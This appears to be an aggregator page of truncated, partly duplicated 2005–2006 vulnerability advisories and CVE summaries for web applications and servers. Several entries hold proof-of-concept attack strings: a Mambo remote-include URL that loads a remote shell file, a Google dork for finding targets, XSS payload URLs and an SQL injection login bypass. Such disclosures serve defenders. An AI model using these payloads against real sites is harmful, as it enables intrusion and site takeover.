mambatstaff.txt

mambatstaff Mambo Component = Remote Include Vulnerability Rish : High Class : Remote Script : mambatstaff Thanx : www.lezr.com/vb & All kuwait hackers d0rkiz : allinurl:"commambatstaff" http://www.site.com/components/commambatstaff/mambatstaff.php?mosConfigabsolutepath=http://shell.txt by Dr.Jr7...

PHP iCalendar Cross Site Scripting

K.S Advisory irc.gigachat.net kurdhack Thanx : Netqurd,Azad,B3g0k,Fearless,Milex,Flot,ZayBoy,PH,KHA,KCA and other my friends Version : All Version Proof Of Concept : http://www.site.com/phpicalendar/rss/index.php?cal=XSS Original Advisory :...

onedotoh.txt

vendor: http://onedotoh.sourceforge.net version : all version :D ! exploit: http://www.xxx.xom/fm/index.php?msg=xxs ++++++...

qtofm.txt

+vendor : http://www.qto.com +poral : qto file manager +version : All version ! Exploit: +http://www.xxx.xom/qto/index.php?msg=xss...

onedotoh xss atack

vendor: http://onedotoh.sourceforge.net version : all version :D ! exploit: http://www.xxx.xom/fm/index.php?msg=xxs ++++++...

qtofilemanager xss attack !

+vendor : http://www.qto.com +poral : qto file manager +version : All version ! Exploit: +http://www.xxx.xom/qto/index.php?msg=xss...

Privilege escalation using addSelectionListener — Mozilla

Web content could access the nsISelectionPrivate interface of the Selection object and use it to add a SelectionListener. The listener would be called when the user did a "Find" on the page or a "select all", and as intended this shouldn't cause any problems. But as with escaping the PAC sandbox ...

# MHG Security Team --- OzzyWork Gallery SQL Injection

Milli-Harekat Advisory www.milli-harekat.org OzzyWork Galeri Admin SQL Injection Risk : High Script : OzzyWork Gallery All Version Credits : Dj ReMix Thanks : y Korsan , ESKOBAR , Poizonb0x , TRIP OzzyWork Gallery Admin Page's www.victim.com/Ozzywork Path /admindefault.asp Login and password : 'o...

[SRC-Telindus advisory] - HP System Management Homepage Remote Unauthorized Access

HP System Management Homepage Remote Unauthorized Access -------------------------------------------------------- Vulnerability: Remote Authentication Bypass Product: CompaqHTTPServer/9.9 HP System Management Homepage 2.1.3.132 and above Platform: Microsoft® Windows® - Linux operating systems IA3...

linksubmit.txt

Vendor : linksubmit Version : All Version www : http://www.phpselect.com AUTHOR : s3rv3rhack3r you can submit html tag's in $description linksubmit.php Exploit : !/usr/bin/perl Exploit by s3rv3rhack3r Special Thanx : hessamx , f0rk ,sattar.li , stanic, mfox,blood moon and.. / | \ | | / \ \ / | |/...

Mercur MailServer 5.0 SP3 - IMAP Remote Buffer Overflow (1)

Mercur MailServer 5.0 SP3 - IMAP Remote Buffer Overflow 1 / mercur.cpp Atrium Mercur IMAP 5.0 SP3 Messaging Multiple IMAP Commands Remote Exploit Copyright C 2006 Javaphile Group http://www.javaphile.org Exploits code by : pll Ellison.Tangatgmaildotcom Bug Reference:...

Contrexx CMS Xss Vuln

------------------------------------------ Contrexx CMS Xss Vuln ------------------------------------------ Site : http://www.contrexx.com Bug : http://victim/path/index.php/"scriptalert/Soot//script Vulnerable : All Version = v1.0.8 ------------------------------------------ Source :...

Contrexx CMS Xss Vuln

------------------------------------------ Contrexx CMS Xss Vuln ------------------------------------------ Site : http://www.contrexx.com Bug : http://victim/path/index.php/"scriptalert/Soot//script Example : http://www.astalavista.com/index.php/"scriptalert/Soot//script...

CVE-2006-0672

CVE-2006-0672 concerns the HP PSC 1210 All-in-One Drivers prior to version 1.0.06. The description characterizes the vulnerability as unspecified with unknown impact and attack vectors; no specific root cause, affected components beyond the driver set, or remediation is provided in the documents....

CVE-2006-0672: Undefined Security Weakness

Unspecified vulnerability in HP PSC 1210 All-in-One Drivers before 1.0.06 has unknown impact and attack vectors...

Re[2]: новые уязвимости

Здравствуйте, 3APA3A. свежая порция: Software: eCardMAX Standard&Gold Vendor: eCardMAX www.ecardmax.com Vulnerability: межсайтовый скриптинг Risk: низкий Date: 30.12.2005 discovered by durito -duritoatmaildotru- HTTP: all-about-all.net durito.narod.ru +:| Details |: Межсайтовый скриптинг:...

CVE-2005-4519

Multiple SQL injection vulnerabilities in the manage user page manageuserpage.php in Mantis 1.0.0rc3 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 prefix and 2 sort parameters to the manage user page manageuserpage.php, or 3 the sort parameter to viewallset.php...

CVE-2005-3679

CVE-2005-3679 describes an SQL injection in ActiveCampaign 1-2-All Broadcast Email, specifically in admin/index.php. The vulnerability allows remote attackers to execute arbitrary SQL commands and bypass authentication via the username field in the admin control panel. Affected component: ActiveC...

CVE-2005-3679: Undefined Security Weakness

SQL injection vulnerability in admin/index.php in ActiveCampaign 1-2-All Broadcast Email allows remote attackers to execute arbitrary SQL commands and bypass authentication via the username field in the admin control panel...

phpBB Fetch All < 2.0.12

The remote host is running a version of phpBB FetchAll older than 2.0.12. It is reported that this version of phpBB Fetch All is susceptible to an SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input before using it in an SQL quer...